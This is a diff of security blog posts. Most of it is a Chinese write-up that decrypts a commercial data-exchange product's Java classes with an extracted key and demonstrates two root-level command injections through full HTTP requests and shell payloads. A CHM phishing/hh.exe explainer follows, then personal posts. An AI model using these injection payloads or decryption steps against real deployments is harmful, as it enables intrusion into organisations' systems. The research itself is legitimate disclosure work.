Instrumentation inst) { + if (inst != null) { + File file = new File("../../Ini/ec.file"); + Map configMap = ECFileConfig.getConfig(); + byte[] bytes = IoUtils.readFileToByte(file); + byte[] by = EncryptUtils.de(bytes, ((String)configMap.get("pf")).toCharArray(), 1); + AgentTransformer tran = new AgentTransformer(EncryptUtils.rsk(new String(by)).toCharArray()); + inst.addTransformer(tran); + } + + } +} +``` + +这里可以看到,它是先通过ECFileConfig初始化,然后解密读取Ini/ec.file + +跟进`ECFileConfig.getConfig()`: + +```cpp +public class ECFileConfig { + private static Map configMap = null; + + public ECFileConfig() { + } + + private static void iniConfig() { + if (configMap == null) { + INIImpl ini = ECFileIni.getIni(); + configMap = ini.getProperties("ECFile"); + } + } + + public static Map getConfig() { + iniConfig(); + return configMap; + } +} + +//// ECFileIni.getIni(); + +public class ECFileIni { + private static String file = "../../Ini/ECFile.ini"; + private static INIImpl self = null; + + static { + self = init(); + } + + public ECFileIni() { + } + + private static INIImpl init() { + String code = FileEncode.getFileEncode(file); + INIImpl iniFile = "asci".equals(code) ? INIUtil.getInstance(file) : INIUtil.getInstance(file, code); + return iniFile; + } + + public static String getStringProperty(String section, String property) { + String rs = self.getStringProperty(section, property); + return "null".equals(rs) ? null : rs; + } + + public static INIImpl getIni() { + return self; + } +} +``` + +恰好我在服务器上找到了这个文件 ECFile.ini : + +![6](https://images.payloads.online/2024-07-29-4c6797f665e41e879b8544677a77a9fb4f74bd6ba6ba16e6abaab6c5894f72c8.png) + + +再看看`AgentTransformer` 的实现: + +```java +public class AgentTransformer implements ClassFileTransformer { + private char[] pwd; + + public AgentTransformer(char[] pwd) { + this.pwd = pwd; + } + + public byte[] transform(ClassLoader loader, String className, Class classBeingRedefined, ProtectionDomain domain, byte[] classBuffer) { + if (className != null && domain != null && loader != null) { + String projectPath = domain.getCodeSource().getLocation().getPath(); + projectPath = JarUtils.getRootPath(projectPath); + if (StrUtils.isEmpty(projectPath)) { + return classBuffer; + } else { + className = className.replace("/", ".").replace("\\", "."); + byte[] bytes = JarDecryptor.getInstance().doDecrypt(projectPath, className, this.pwd); + return bytes != null && bytes[0] == -54 && bytes[1] == -2 && bytes[2] == -70 && bytes[3] == -66 ? bytes : classBuffer; + } + } else { + return classBuffer; + } + } +``` + +`AgentTransformer` 重写了`ClassFileTransformer`的`transform`方法,将每一个class和密码放入`JarDecryptor.doDecrypt`进行解密,最终返回字节码。 + +再来看看`JarDecryptor.doDecrypt`的实现: + +![7](https://images.payloads.online/2024-07-29-6ac72116d00abdb02053e3b552699cc6179a6f2e604f1464dd560c268f157a43.png) + + +通过`readEncryptedFile` 方法读取**`META-INF/.classes/`** 下的class文件进行解密。 + +回到文件目录,在META-INF下发现了许多加密的class字节码文件: + +![8](https://images.payloads.online/2024-07-29-1c776fe4fe02193807e9a09ffeb672546340052de6e74e835d097554c05325f0.png) + + +这里我通过编写一个类,调用`JarDecryptor.doDecrypt`对全部class进行了解密: + +```java +import com.leagsoft.declass.util.ECFileConfig; +import com.leagsoft.declass.util.EncryptUtils; +import com.leagsoft.declass.util.IoUtils; +import com.leagsoft.declass.util.StrUtils; + +import java.io.File; +import java.io.FileOutputStream; +import java.util.Map; + +public class Main { + private static final String ENCRYPT_PATH = "UniEx/META-INF/.classes/"; + private static final String DECRYPT_PATH = "UniEx-decode/UniExdecrypt/"; + + private static char[] getPassword(){ + try { + File file = new File("UniEx/ec.file"); + Map configMap = ECFileConfig.getConfig(); + byte[] bytes = IoUtils.readFileToByte(file); + String pf = "UniNXG-KUv1N5FQr9NtPWnK5UpJ8nnM3blCH9jYtGoXeo0bsXowOffDnW2o0DaVo41ZblSF0tNow5dPxVn8odAS9l4QxCiSvGTXhbliZF9W"; + byte[] by = EncryptUtils.de(bytes, pf.toCharArray(), 1); + char password[] = EncryptUtils.rsk(new String(by)).toCharArray(); + System.out.println(password); + return password; + } catch (Exception e) { + System.out.println(e); + } + return null; + } + + public static void main(String[] args) throws Exception { + char password[] = getPassword(); + File classFiles = new File(ENCRYPT_PATH); + File[] fs = classFiles.listFiles(); + for (File classFile : fs){ + System.out.println(classFile.getAbsolutePath()); + File file = new File(ENCRYPT_PATH, classFile.getName()); + byte[] bytes = IoUtils.readFileToByte(file); + if (bytes == null) { + return ; + } else { + char[] pass = StrUtils.merger(new char[][]{password, classFile.getName().toCharArray()}); + bytes = EncryptUtils.de(bytes, pass, 1); + System.out.println("正在解密... " + classFile.getName()); + try{ + File outFile = new File(DECRYPT_PATH+ classFile.getName()+".class"); + if (!outFile.exists()){ + outFile.createNewFile(); + } + FileOutputStream outputStream = new FileOutputStream(outFile); + outputStream.write(bytes); + }catch (Exception e){ + } + } + } + } +} +``` +![9](https://images.payloads.online/2024-07-29-caca69621b0ac31050dfbda096c260c6dbca086b742f059138ecda98f14935a6.png) + + +跑一下Main方法就能将所有的加密class字节码文件还原,大功告成。 + +### 远程调试Tomcat + +修改Tomcat安装目录下`bin/catalina.sh` 文件,通过定义catalina的配置选项可以在tomcat启动时开启远程调试端口。 + +修改文件:`/home/leagsoft/SafeDataExchange/Apache/bin/catalina.sh` + +![10](https://images.payloads.online/2024-07-29-a569bb52b5db158da8c9ca25ec36e8386843cfdec60410570ab2ebc3945c73c8.png) + + +加入内容: + +```cpp +CATALINA_OPTS="-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=*:9999" +``` + +然后重启tomcat就可以进行远程调试了。 +![15](https://images.payloads.online/2024-07-29-5286ff18ed77057ec7661589dae2390349c3688a64954c35f0addee8fa0ea1e2.png) + + +打开idea,将原本没有方法实现的class替换为已经解密的class,添加远程调试配置: + +这里我替换了: + +`WEB-INF/classes/com/leagsoft/nxg/dlp/controller/FileTrackMarkMessageController.class` + + +![11](https://images.payloads.online/2024-07-29-291090c034eb14e7c54f6e8134dc4cffdc90c2caa137d8d9a3995cd5b2949607.png) + + + +添加一个调试配置,点击Edit Configurations: + + +![12](https://images.payloads.online/2024-07-29-72fed2f81a5857e1322cae31988c98a99f20535cf1df7489fba34e662dcb5e04.png) + + +点击添加按钮,新增一个Remote配置: + + +![13](https://images.payloads.online/2024-07-29-5571001140fb45b5e6dd403647aee8c9bfffd6d485fa5a99810841f799c32665.png) + + +填入远程调试的IP地址和端口: + + +![14](https://images.payloads.online/2024-07-29-470690a9c80ba81dce667b1dbc496df19c644658e99f5fe727cf52adc312dd2d.png) + + +然后在要调试的方法下断点,点击调试按钮,控制台会提示已经连接到目标JVM: + +![16](https://images.payloads.online/2024-07-29-caec6aa5c122933badd4c5d86d3cbfeaa93ac49c5d8055109b72018d7be87eda.png) + + +当访问到对应的控制器,并且代码执行时,断点会生效: + +![17](https://images.payloads.online/2024-07-29-b98190a484595ca8a2b7c07def77f2f5c12a80c12bf45c60bdb06e0c5a07e0a3.png) + + +通过观察调用栈、局部变量的值可以很方便的帮助我们进行输入输出的判断。 + +### 后台命令执行一 + +通过审计发现`FileTrackMarkMessageController.class`中的`getUploadFileID` 方法调用了`Runtime.getRuntime().exec` 可能会存在命令执行漏洞。 + +```cpp +public void getUploadFileID(HttpServletRequest request, HttpServletResponse response) throws Exception { + List fileList = new ArrayList(); + ModelAndViewUtil.getMultiParamterMap(request, fileList); + String separator = File.separator; + File detect = new File(".." + separator + ".." + separator + "Bin"); + if (!detect.exists()) { + detect.mkdirs(); + } + + JObject jo = new JObject(); + if (fileList.size() > 0) { + String fileID = ""; + Iterator var8 = fileList.iterator(); + + while(var8.hasNext()) { + FileItem file = (FileItem)var8.next(); + String simpleName = SysUtils.getSimpleName(file.getName().replaceAll("\\\\", "/")); + file.write(new File(".." + separator + ".." + separator + "Bin" + separator + simpleName)); + String postfix = simpleName.substring(simpleName.lastIndexOf(".") + 1, simpleName.length()); + String comd = ".." + separator + ".." + separator + "Bin" + separator + "ClairDeLune printall " + "\"" + ".." + separator + ".." + separator + "Bin" + separator + simpleName + "\"" + " " + postfix; + Process p = null; + String[] command = new String[]{"/bin/sh", "-c", comd}; + p = Runtime.getRuntime().exec(command); + + ....... + + } +``` + +我们的输入点是request对象,它被传入了`getMultiParamterMap`方法,跟进查看: + +```cpp +public static Map getMultiParamterMap(HttpServletRequest request, List fileList) throws FileUploadException { + Map param = new TreeMap(); + FileItemFactory factory = new DiskFileItemFactory(); + ServletFileUpload upload = new ServletFileUpload(factory); + List items = null; + + try { + items = upload.parseRequest(request); + } catch (Exception var10) { + LOG.error(var10.getMessage()); + } + + ...... + return param; + } +``` + +`request` 被传入了`ServletFileUpload`,看来是一个文件上传的数据包。 + +构造一个文件上传的数据包发送过去调试看看: + +```cpp +POST /UniEx/fileTrackMarkMessage/getUploadFileID.htm HTTP/1.1 +Host: 192.168.117.100 +Content-Length: 181 +Cache-Control: max-age=0 +Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="96" +Sec-Ch-Ua-Mobile: ?0 +Sec-Ch-Ua-Platform: "macOS" +Upgrade-Insecure-Requests: 1 +Cookie: JSESSIONID=5D3B2F3A86C3F73FC8FA267D3D5603D5; +Referer: https://192.168.49.100/UniEx/login.jsp +Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymo440JkALdwNUIKs +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 +Sec-Fetch-Site: cross-site +Sec-Fetch-Mode: navigate +Sec-Fetch-User: ?1 +Sec-Fetch-Dest: document +Accept-Encoding: gzip, deflate +Accept-Language: zh-CN,zh;q=0.9 +Connection: close + +------WebKitFormBoundarymo440JkALdwNUIKs +Content-Disposition: form-data; name="file"; filename="1.png" +Content-Type: image/png + +123 +------WebKitFormBoundarymo440JkALdwNUIKs-- +``` + +此时局部变量的值: + +![18](https://images.payloads.online/2024-07-29-6cdfbf06144d922718628f163f388c612fc310451acfd8da9b039989ec3b07fe.png) + + +我发现文件名被带入了`/bin/sh -c` 意味着文件名也可以作为命令执行,由于前面有进行文件扩展名的获取解析,这个方法会取文件名的最后一个`.` 作为分割,把扩展名取得后拼接在最后面,最好的命令注入点是文件扩展名,最终我的payload如下: + +```bash +file.`touch${IFS}222222` +``` + +![19](https://images.payloads.online/2024-07-29-0d3b7e5111031fac69abbe36548f69d4b03e41557e60107e919f41005f3966d5.png) + + +利用````和`${IFS}`替代空格 在shell中的特点,可以达到任意命令执行的目的,我还发现它的java服务是以root用户启动的,意味着获取这个命令执行的权限就是最高权限。 + +![20](https://images.payloads.online/2024-07-29-5a44f4361c4d69a355c43805a908033c99d86f80539148f1fb3898d111b3deae.png) + + +### 后台命令执行二 + +`com.leagsoft.uex.sysparam.controller.NoticeConfigController.class` 中的`testNoticeEmailAction`方法存在命令注入,在调用`JavaShellUtil.executeCommand`方法时,将用户输入带入了bash脚本后面,但`LeagUtil.filterCmdParams`对输入的值进行了过滤替换,不过因为参数没有放入单引号中,可以使用`;` 对前面的脚本进行闭合,从而绕过限制执行任意命令。 + +```java +public void testNoticeEmailAction(HttpServletRequest request, HttpServletResponse response) throws IOException { + Map emailMap = new HashMap(); + Map map = request.getParameterMap(); + Set> set = map.entrySet(); + Iterator it = set.iterator(); + + while(it.hasNext()) { + Entry entry = (Entry)it.next(); + emailMap.put(entry.getKey(), ((String[])entry.getValue())[0]); + } + + String random = (String)emailMap.get("random"); + String mailPwd = RC4.RC4DecodeForJS((String)emailMap.get("mailSendPwd"), random); + emailMap.put("mailSendPwd", mailPwd); + + try { + JavaShellUtil.executeCommand("/home/leagsoft/SafeDataExchange/Bin/dataex_iptables.sh " + LeagUtil.filterCmdParams((String)emailMap.get("mailServerAddr")) + " " + LeagUtil.filterCmdParams((String)emailMap.get("mailServerPort")), false); + log.info("excute shell command : /home/leagsoft/SafeDataExchange/Bin/dataex_iptables.sh {} {}", emailMap.get("mailServerPort"), emailMap.get("mailServerPort")); + } catch (IOException var13) { + log.error("excute /home/leagsoft/SafeDataExchange/Bin/dataex_iptables.sh error", var13); + } +..... +// LeagUtil.filterCmdParams + +public static String filterCmdParams(String cmdParams) { + if (StringUtils.isEmpty(cmdParams)) { + return cmdParams; + } else { + String afterParams = cmdParams.replaceAll("`", ""); + if (!StringUtils.isEmpty(afterParams) && afterParams.contains("$(")) { + afterParams = afterParams.replaceAll("\\$", ""); + } + + log.info("before cmdParams:{},after filter cmdParams:{}", cmdParams, afterParams); + return afterParams; + } + } +``` + +发送数据包: + +```java +POST /UniEx/noticeConfig/testNoticeEmailAction.htm HTTP/1.1 +Host: 192.168.117.100 +Cache-Control: max-age=0 +Cookie: JSESSIONID=F9DA84D287041E1F8E09234CAA3EAB58; +Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="96" +Sec-Ch-Ua-Mobile: ?0 +Sec-Ch-Ua-Platform: "macOS" +Upgrade-Insecure-Requests: 1 +Origin: null +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 +Referer: https://192.168.117.100/UniEx/login.jsp +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 +Sec-Fetch-Site: cross-site +Sec-Fetch-Mode: navigate +Sec-Fetch-User: ?1 +Sec-Fetch-Dest: document +Accept-Encoding: gzip, deflate +Accept-Language: zh-CN,zh;q=0.9 +Connection: close +Content-Type: application/x-www-form-urlencoded +Content-Length: 78 + +random=123&mailSendPwd=123&mailServerAddr=;touch%20/tmp/222&mailServerPort=123 +``` + +### 思考 + +这款产品使用了javassist的动态执行技术,但是java始终还是java,我们只需要hook或者针对它最上层的代码进行研究即可,于是我根据本次漏洞挖掘,编写了一个工具:[Rvn0xsy/DumperAnalyze: 通过JavaAgent与Javassist技术对JVM加载的类对象进行动态插桩,可以做一些破解、加密验证的绕过等操作 (github.com)](https://github.com/Rvn0xsy/DumperAnalyze) + +通过JavaAgent与Javassist技术对JVM加载的类对象进行动态插桩,可以做一些破解、加密验证的绕过等操作。 \ No newline at end of file diff --git a/content/posts/2023/2023-09-18-phishing.md b/content/posts/2023/2023-09-18-phishing.md new file mode 100644 index 0000000..0f5cc4a --- /dev/null +++ b/content/posts/2023/2023-09-18-phishing.md @@ -0,0 +1,95 @@ +--- +title: "邮件钓鱼与T1218.001" +date: 2023-09-18 +description: 今天中午看到一份关于Bitter组织针对亚太地区能源部门发起钓鱼活动分析报告,其中@Ryan Robinson 2023年3月24日对该组织使用的CHM样本进行了分析。于是开始详细了解为什么CHM格式在钓鱼中可以发挥如此大的价值。 +url: /archivers/2023-09-18/phishing +tags: phishing +--- + + + +## 背景 + +![0](https://images.payloads.online/2024-07-29-9c23ae3e32974727854fe650b5d94e641f5d33fa6fff2ff2aca32a224127b8e4.png) + + +今天中午看到一份关于[Bitter组织针对亚太地区能源部门发起钓鱼活动](https://intezer.com/blog/research/phishing-campaign-targets-nuclear-energy-industry/)分析报告,其中@Ryan Robinson 2023年3月24日对该组织使用的CHM样本进行了分析。于是开始详细了解为什么CHM格式在钓鱼中可以发挥如此大的价值。 + +## CHM文件打开的过程 + +CHM文件是各种内容的压缩编译,如HTML文档,图像和脚本/Web相关的编程语言,在CHM打开时,会调用IE浏览器的基础组件解析显示,双击打开CHM文件其实本质上是创建了一个hh.exe的进程。 + +![1](https://images.payloads.online/2024-07-29-eab40d97f6ec3c24b6f998a624539ba37ed83871a7c7c07c00dddb5dad7d9ce9.png) + + +## CHM的Payload + +CHM文件可以通过hh.exe进行反编译: + +```bash +hh.exe -decompile %temp% payload.chm +``` + +### 如何构建CHM文件? + +可以使用`Microsoft HTML Help Workshop`工具创建CHM文件,FILES指的是目录,OPTIONS指的是文档基本信息: + +![2](https://images.payloads.online/2024-07-29-46f7eb69f2f9cfa3972058713818f15955e891fb99252bae45c6209f88a87e69.png) + + +```html + + + + + + + + + + + +

Hello

+ + +``` + +在这段代码中,调用了`hhctrl.ocx`COM组件,该组件的方法可以执行命令: + +![3](https://images.payloads.online/2024-07-29-037a6f715f47a2e3cde7a7ab2ce97301f632f4858252dfaf9196e8a54ba4da84.png) + +COM组件方法列表:[CLSID 52A2AAAE-085D-4187-97EA-8C30DB990436 | HHCtrl Object | STRONTIC](https://strontic.github.io/xcyclopedia/library/clsid_52A2AAAE-085D-4187-97EA-8C30DB990436.html) + +![4](https://images.payloads.online/2024-07-29-c1ef1cd6eac332ebc0ad3f7fdb6c7a8827454261cc4f41152542bda3581dd8d2.png) + + +Atomic [atomic-red-team/atomics/T1218.001/src/T1218.001.html at master · redcanaryco/atomic-red-team (github.com)](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218.001/src/T1218.001.html) 给出的测试用例代码调用的是Click方法,我测试了HHClick也能够触发。 + +我在本地尝试编译了一个弹出计算器的CHM文档,上传至VirusTotal进行分析: + +![5](https://images.payloads.online/2024-07-29-af545bb4f3c853f8a569cf68ab877948a6cf8feb189f79701163af63aaa54b57.png) + +在ATT&CK中也提到有攻击组织采用调用ActiveX对象的方法来对文件进行操作,这个过程可能不会创建进程: + +![6](https://images.payloads.online/2024-07-29-8beb342548a5e4d3c052715bd5b4e0fb7e7a602d5988fb65547c432a0eeb420d.png) + +## CHM文件执行命令的防御措施 + +这里可以直接总结一下ATT&CK矩阵上的建议: + +1. 阻止CHM文件的下载 +2. 进程监控,监视和分析hh.exe的执行和参数。将最近调用的hh.exe与已知良好参数的先前历史记录进行比较,以确定异常和潜在的对抗性活动(例如:混淆和/或恶意命令)。非标准进程执行树也可能指示可疑或恶意行为,例如,如果hh.exe是与其他对抗性技术相关的可疑进程和活动的父进程。 + +## 参考 + +- [CLSID 52A2AAAE-085D-4187-97EA-8C30DB990436 | HHCtrl Object | STRONTIC](https://strontic.github.io/xcyclopedia/library/clsid_52A2AAAE-085D-4187-97EA-8C30DB990436.html) +- [Phishing Campaign Targets Chinese Nuclear Energy Industry (intezer.com)](https://intezer.com/blog/research/phishing-campaign-targets-nuclear-energy-industry/) +- [T1218.001 - Explore Atomic Red Team](https://atomicredteam.io/defense-evasion/T1218.001/) +- [atomic-red-team/atomics/T1218.001/src/T1218.001.html at master · redcanaryco/atomic-red-team (github.com)](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218.001/src/T1218.001.html) +- [System Binary Proxy Execution: Compiled HTML File, Sub-technique T1218.001 - Enterprise | MITRE ATT&CK®](https://attack.mitre.org/techniques/T1218/001/) +- [Microsoft HTML Help Workshop](https://www.helpndoc.com/downloads/htmlhelp.exe) \ No newline at end of file diff --git a/content/posts/2023/2023-10-31-good-habits.md b/content/posts/2023/2023-10-31-good-habits.md new file mode 100644 index 0000000..f5dd6eb --- /dev/null +++ b/content/posts/2023/2023-10-31-good-habits.md @@ -0,0 +1,165 @@ +--- +title: "需要保持的几个好习惯" +date: 2023-10-31 +description: 在这里我梳理一些工作和生活需要保持的几个好习惯,用于时刻提醒自己继续保持。 +url: /archivers/2023-10-31/good-habits +tags: 心情随笔 +--- + + + +### 使用带密码的私钥 + +使用带密码的私钥能够确保公私钥文件被窃取后,依然无法使用。 + +```bash +# ssh-keygen 命令 +$ ssh-keygen -t rsa -f secret-key +Generating public/private rsa key pair. +Enter passphrase (empty for no passphrase): # 输入密码 +Enter same passphrase again: # 输入密码 + +``` + +![0](https://images.payloads.online/2024-07-29-fcceb13ae2e9e9954f3e168e822e583565003cf814c46b123015ed18723b01f8.png) + +### 使用命令行提示工具 oh-my-zsh + +[oh my zsh](https://ohmyz.sh/) + +```bash +$ sh -c "$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)" + +$ vim .zshrc + +# 我使用的插件 +plugins=( +git +docker +zsh-syntax-highlighting +zsh-autosuggestions +zsh-completions +copyfil +e emoji +extract +sudo +) +``` + +### 使用更好的替代命令 + +在Linux命令行下,会经常使用系统命令进行工作,但是内置的命令功能很单一,需要做一些增强,我这里摘取部分配置: + +```bash +# https://github.com/AmineZouitine/rmt.rs +# 删除文件备份 +alias rm='rmt' +# https://github.com/lsd-rs/lsd +# 查看文件列表高亮 +alias ls='lsd' +# 使用pyenv管理Python环境 +eval "$(pyenv init -)" +# 这里放一些零散的二进制文件工具 +export PATH=$HOME/.local/bin:$PATH +# 这里放一些常用的管理系统的Bash脚本 +export PATH=$HOME/scripts:$PATH +``` + +### 将后台程序变成服务 + +后台程序就是那些没有界面,但是需要命令行运行的程序,这类程序我其实不太喜欢将他们单独运行在一个终端中,Linux\Windows\MacOS都有提供创建服务的功能,我这里举例Clash服务的管理: + +![1](https://images.payloads.online/2024-07-29-6235a4a002d7db198ce53560655278dccec9d0ac72f41fc1139b18655b9e27e1.png) + +通过systemctl可以控制Clash服务的启动和暂停,在scripts目录中放置了操作iptables转发规则的脚本: + +![2](https://images.payloads.online/2024-07-29-8a9b0f9c0ed11a124153ebe49adb20d43a471199f9992184ad7a8c705faff3be.png) + + +MacOS可以通过创建,需要创建一个以`plist` 扩展名的XML文件: + +```xml + + + + + Label + com.clash.myservice + Program + /path/to/your/clash + RunAtLoad + + KeepAlive + + + +``` + +将 `clash.plist` 文件移动到MacOS的LaunchAgents目录中: + +```bash +$ mv clash.plist ~/Library/LaunchAgents/ +$ launchctl load ~/Library/LaunchAgents/clash.plist +$ launchctl enable gui/501/clash +$ launchctl stop clash +$ launchctl start clash +``` + +### 保持使用浏览器收藏夹的好习惯 + +大概在去年Chrome翻译服务被ban以后,开始使用Edge,在国内同步相对比较方便,因此做了一下迁移,目前使用起来感觉良好。 + +![3](https://images.payloads.online/2024-07-29-1f81d6fa776a8b86b4e02ce024cbb28dcdefe900c6443830328feac6a780ddba.png) + + +### 使用命令切换Java环境版本 + +Arch Linux可以通过archlinux-java命令切换Java版本: + +![4](https://images.payloads.online/2024-07-29-71fcbdba07b902f095b20a6332b1a571aeb1295b4486a48f2a52da25af8a00fe.png) + +[Java - ArchWiki](https://wiki.archlinux.org/title/Java) + +![5](https://images.payloads.online/2024-07-29-01444e4c4e92fdb6748737b8c0d5177aebe2f57e457dd87be68076cd6de7959e.png) + +### 使用DoH/DoT保护DNS隐私 + +DoH(DNS over HTTPS)是一种安全的DNS协议扩展,它通过使用HTTPS协议对DNS查询进行加密来保护DNS通信的隐私和安全性。 + +传统的DNS协议(DNS over UDP/TCP)在传输过程中是明文的,这意味着网络上的任何人都可以查看和截取DNS查询和响应的内容。这可能会导致个人隐私泄露、信息篡改和劫持等问题。 + +DoH通过将DNS流量封装在加密的HTTPS连接中来解决这些问题。它使用SSL/TLS协议对DNS查询和响应进行加密,确保数据的机密性和完整性。这使得DNS流量看起来和其他HTTPS流量一样,很难被识别和干扰。 + +由于我的Clash是开机自动启动的,本机的所有DNS流量都会转发到Clash,因此我只需要配置Clash的NameServer即可: + +![6](https://images.payloads.online/2024-07-29-d488f58ebdaac0368a534fc55c70865d39e448f2a7f2d55637a8fd9b08710f21.png) + +在浏览器(Edge)层面可以直接设置: + +![7](https://images.payloads.online/2024-07-29-79bdd18d44e81577d010e692288ef1b2f93a834236a9bcc0e2b3679e4dbf0937.png) + + +手机层面也可以通过导入描述文件: + +https://github.com/paulmillr/encrypted-dns + +![8](https://images.payloads.online/2024-07-29-1deb4b2d25f54747b13b3fdb35716180c042271b304fd01a3f1660b1e0d83baf.png) + + +### 常用Todo工具 + +有些时候想做一件事情(临时决定),但是当下没有时间,不能让想法只停留在想法上,我会使用Todo类的工具进行记录,iPhone/MacOS上都有一个名字叫“提醒”的软件,能够实现设备同步,但最早我是使用Microsoft To Do. + +![9](https://images.payloads.online/2024-07-29-2e4c7870af36ee012db6bdb7045b44adfbd09aa3c1c53cb992efa3290bbc6728.png) + +### 使用Z-library收集书籍 + +![10](https://images.payloads.online/2024-07-29-184b6f1b3f465021db9fdcdab816af6cd28e0208e00843465c8c7ae2d641bd3e.png) + +在学习比较体系的知识的时候,我往往会先搜索相关书籍,然后将书籍的电子版保存下来。Z-library是全球最大的线上图书馆了,陆陆续续我的书单也丰富了起来: + +![11](https://images.payloads.online/2024-07-29-67f064441b79b618c4e817ca51c3be4826b6d04c4dc39c4b3aaf6a707c6527f5.png) diff --git a/content/posts/2023/2023-12-29-year-end-summary.md b/content/posts/2023/2023-12-29-year-end-summary.md new file mode 100644 index 0000000..5e8b4f4 --- /dev/null +++ b/content/posts/2023/2023-12-29-year-end-summary.md @@ -0,0 +1,105 @@ +--- +title: "2023年终总结 - 你好2024!" +date: 2023-12-29 +description: 2023年转眼过去,好像2022年-2023年很少写一写总结了,心血来潮给博客装修了一下,为了迎接2024年的到来,认真写一篇年度总结,算是给这一年一个交代,我会介绍一下这两年以来自己做的一些事情和成长。 +url: /archivers/2023-12-29/year-end-summary +tags: 心情随笔 +--- + +## 前言 + +2023年转眼过去,好像2022年-2023年很少写总结了,心血来潮在元旦来临之前花了一些时间给博客装修了一下,为了迎接2024年的到来,认真写一篇年度总结,算是给这一年一个交代,我会总结一下这近两年以来自己做的一些事情和成长。 + +在上周末看到阮老师的周刊的标题:[科技爱好者周刊(第 283 期):[年终感想] 没有目的地,向前走](http://www.ruanyifeng.com/blog/2023/12/weekly-issue-283.html),主要内容为BaseCamp 公司创始人 Jason Fried 的一篇短文提到“我做事,我尝试,我建造,我想要取得进步,我想让我做的东西使得自己、使得公司、使得家庭、使得社会变得更好。但我从未设定过目标。这不是我做事的方式。”看完这篇短文,思考了一下好像我也没有什么确切具体的目标,虽说确切具体的目标对于个人来说是会起到激励的作用,但这一年我对自己的要求没有以往那么苛刻了,在这种状态下收获了很多从未有过的体验。 + +## 2023这一年的工作感想 + +2022年做了许多重大的决定,其中对生活节奏影响较大的就是换了一份工作,由红队研究员的身份转向一个对安全运营视角进行有效性验证的安全研究员,大概是2022年9月底从老东家离职,写了一篇[《我的三年红队生涯总结》](https://payloads.online/archivers/2022-09-19/1/)宣告自己的红队工作告一段落,开始拥抱新的视角,拓展更广的视野,对安全工作的理解也慢慢发生改变。起初刚加入创业公司,节奏还是能够快速适应的,首先就是工作的交付形式开始转变,从项目的阶段性成果转变成产品相关的测试用例、新技术的调研与应用、与头部企业的安全负责人交流实践经验等等,做产品和做业务有很大的区别,产品功需要更加精细化,对每个功能的要求都应当非常高,才会产生价值,是一个需要内心始终与用户对话的工作形式,所有的产品最初都需要打磨,都需要反馈才能变得更好,这个过程对比此前进行的项目交付,显得节奏感慢了很多,而项目是一个短周期、阶段性的事务。 + +再者就是参与到产品的建设中经常可以获得一些正反馈,这是我的动力源,应用的每个技术方案都会通过更新流转到每个用户面前,类比于红队获取了一个目标权限等同。在前几个月的时候,和前辈聊天提到“对手”这个词,前辈说我现在没有对手了,没有对手就会影响到一个人的动力,以往的环境是天天有竞争的,红蓝队伍的对抗,一场场攻防演练,一个个排名,外部的对手数不胜数,所以每次竞争后都会变得更有力量,而现在需要从自身寻找对手,这个对手就是自己,从头梳理自己对企业安全建设的理解,去学习别人的最佳实践,思考事物为何如此发展,善用平台的资源和力量。 + +入职后先后接手了终端安全验证、勒索软件验证、AD域安全验证、RASP验证,重新设计了很多次不同验证方向的闭环方案,也接触了何谓“有效性验证”、何谓“安全能力验证”,如果用一句话概括我做的事情就是:“企业先有安全建设,后有安全运营,安全建设积累安全能力,安全运营积累最佳实践,验证安全能力提高安全建设水平,验证安全运营有效性提升实践能力。“ + +其实我的大部分时间不只是在做攻击模拟,而是在建立反向验证的思维逻辑,以及应用/研究一套可行性较高、成本较低的验证方案。举例终端安全来说,验证的维度其实非常广,覆盖了ATT&CK矩阵的大部分技术项,而从终端安全防御视角来看,大部分攻击都可以通过操作系统遥测事件输入威胁识别模型识别哪些命令、行为是攻击从而分析出来终端是否受到了攻击。攻击模拟就是在不影响系统安全性的情况下完成一次或多次的攻击回放,回放技术做的越好、越真实、越能体现归因(这个攻击被检测了吗?被谁检测的?响应时间多长?若不能检测,该如何检测),价值就越大,这里摸爬滚打一路过来遇到很多难点就不展开陈述了。 + +总的来说,建立反向验证思维,可以让安全工作做的更可信,更容易量化分析。在我设计好一套验证方案后,输出的验证结果反应出了安全能力的很多问题,这些是我以往在红队视角无法想象的,可能是攻击特征很明显的命令,某安全产品竟然没有告警?还有的时候想去验证一些自己的Bypass思路,发现有的安全产品也无法检测,终于真正站在一个中立视角、科学的验证安全能力。 + +在今年工作的最后的一天,同事发来了一个“*MBI-GS职业倦怠量表“*,经过测试我得到了23分的结果,工作状态良好。 + +> 什么是工作倦怠 + +“职业倦怠症”又称“职业枯竭症”,它是一种由工作引发的心理枯竭现象,是上班族在工作的重压之下所体验到的身心俱疲、能量被耗尽的感觉,这和肉体的疲倦劳累是不一样的,而是缘自心理的疲乏。 + +工作倦怠方面最权威、最常用的量表——MBI-GS(Maslach Burnout Inventory-General Survey)。2002年,李超平获得该问卷开发者Michael Leiter教授的授权,在国内修订MBI-GS。结果表明:该量表在国内具有较好的信度和效度。该量表包括三部分:情绪衰竭(Emotional Exhaustion)、玩世不恭(Cynicism)和成就感低落(Reduced Personal Accomplishment)。情绪衰竭分量表包括5道题,玩世不恭分量表包括5道题,成就感低落分量表包括6道题,整个问卷共16道题。该量表采用利克特7分等级量表,0代表“从不”,6代表“非常频繁”。 +> + +在做这个问卷的过程中,有很多或者几乎都是,需要从自身的工作感受出发进行作答的问题,以前和朋友、领导多少都发表过对于一份工作的观点,在不同时间的节点,我都会思考做事的意义,在抓住能让自己变得更好的前提下,总能得到正向的反馈,这种感觉可以持续推动我成长下去。 + +## 2023这一年的生活感想 + 